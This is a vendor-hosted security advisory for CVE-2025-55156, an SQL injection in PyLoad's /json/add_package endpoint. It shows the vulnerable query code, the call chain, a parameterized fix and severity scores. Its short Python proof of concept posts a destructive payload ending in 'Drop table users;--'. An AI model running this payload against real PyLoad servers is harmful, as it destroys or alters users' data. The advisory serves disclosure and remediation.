Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2025-55156

PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
Back to all
CVE

CVE-2025-55156

PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

  • Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
  • Affected code:
@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids

statuses is constructed from data, and data is the value of the addlinks parameter entered by the user through /json/addpackge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

  • Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info

PoC

import requests

if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }
    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)

<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />

Remediation

 ```python

def updatelinkinfo(self, data):

    """

data is list of tuples (name, size, status, url)

"""

    self.c.executemany(

        "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",

        data,

    )

    

    # 提取所有url

    urls = [x[3] for x in data]

    

    # 构建参数化查询,避免SQL注入

    placeholders = ','.join(['?'] * len(urls))

    query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"

    self.c.execute(query, urls)

    

    ids = [int(row[0]) for row in self.c.fetchall()]

    return ids

```

Impact

Attackers can modify or delete data in the database, causing data errors or loss.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
7.8
-
4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
C
H
U
0
-
C
H
U
9.1
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Related Resources

No items found.

References

https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf, https://nvd.nist.gov/vuln/detail/CVE-2025-55156, https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f, https://github.com/pyload/pyload, https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271, https://pypi.org/project/pyload-ng, https://github.com/advisories/GHSA-pwh4-6r3m-j2rf

Severity

9.1

CVSS Score
0
10

Basic Information

Base CVSS
9.1
EPSS Probability
0.00326%
EPSS Percentile
0.25615%
Introduced Version
0,0.5.0a5.dev528
Fix Available
0.5.0b3.dev91

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading